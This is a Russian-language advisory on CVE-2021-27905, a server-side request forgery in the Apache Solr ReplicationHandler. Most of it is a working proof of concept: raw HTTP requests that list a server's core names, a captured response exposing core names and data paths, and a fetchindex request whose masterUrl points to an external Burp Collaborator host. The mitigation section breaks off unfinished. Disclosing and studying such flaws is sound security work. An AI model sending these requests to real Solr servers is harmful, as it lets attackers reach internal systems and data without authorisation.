
[CVE-2021-27905] Подделка серверных запросов (SSRF) в Apache Solr ReplicationHandler
[CVE-2021-27905] Apache Solr ReplicationHandler: подделка запросов на стороне сервера (SSRF)
Hit Counter
Apache Solr (расшифровывается как Searching On Lucene with Replication) — это бесплатная поисковая система с открытым исходным кодом, основанная на библиотеке Apache Lucene. Написана на Java. Apache Solr имеет RESTful XML/HTTP и JSON API, а также клиентские библиотеки для многих языков программирования, таких как Java, Python, Ruby, C#, PHP и многих других, и используется для создания поисковых приложений и приложений для аналитики больших данных для веб-сайтов, баз данных, файлов и т. д.
Apache Solr всех версий до 8.8.2 (с 7.0.0 по 7.7.3 и с 8.0.0 по 8.8.1) подвержен уязвимости Server Side Request Forgery (SSRF). Успешная эксплуатация этой уязвимости может привести к несанкционированным действиям или доступу к данным внутри организации — как в самом уязвимом приложении, так и в других внутренних системах, с которыми приложение может взаимодействовать.
ReplicationHandler (обычно регистрируется по адресу /replication в составе ядра Solr) имеет параметр masterUrl (а также псевдоним leaderUrl), который используется для указания другого ReplicationHandler на другом ядре Solr с целью репликации данных индекса в локальное ядро. Чтобы предотвратить уязвимость SSRF, Solr должен сверять эти параметры с конфигурацией, аналогичной той, что используется для параметра shards. До исправления этой уязвимости такая проверка не выполнялась.
Proof of Concept (PoC): Для эксплуатации этой уязвимости атакующему необходимо знать имя ядра Apache Solr. Поэтому для определения имени/имён ядра можно использовать следующий запрос:
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close
{
"responseHeader":
{
"status": 0,
"QTime": 0
},
"initFailures":
{},
"status":
{
"beliana_dev":
{
"name": "beliana_dev",
"instanceDir": "/var/solr/data/beliana_dev",
"dataDir": "/var/solr/data/beliana_dev/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-04-20T13:49:06.569Z",
"uptime": 293226747
},
"beliana_prod":
{
"name": "beliana_prod",
"instanceDir": "/var/solr/data/beliana_prod",
"dataDir": "/var/solr/data/beliana_prod/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
},
"beliana_stage":
{
"name": "beliana_stage",
"instanceDir": "/var/solr/data/beliana_stage",
"dataDir": "/var/solr/data/beliana_stage/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
}
}
}

После того как имена ядер определены, просто выберите одно из них и отправьте запрос на эту конечную точку: /solr/{core_name}/replication/?command=fetchindex&masterUrl={ssrf_here}
GET /solr/beliana_dev/replication/?command=fetchindex&masterUrl=http://4rwzji8a3i6xi33sjoml8qdda4gv4k.burpcollaborator.net HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: Sat, 01 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 23 Apr 2021 23:16:50 GMT
ETag: "1790105893b"
Content-Type: application/xml; charset=UTF-8
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<response>
<lst name="responseHeader">
<int name="status">0</int>
<int name="QTime">75</int>
</lst>
<str name="status">OK</str>
</response>


Меры по устранению: Любого из следующих действий достаточно, чтобы предотвратить эту уязвимость
8.8.2 или новее.Ссылки: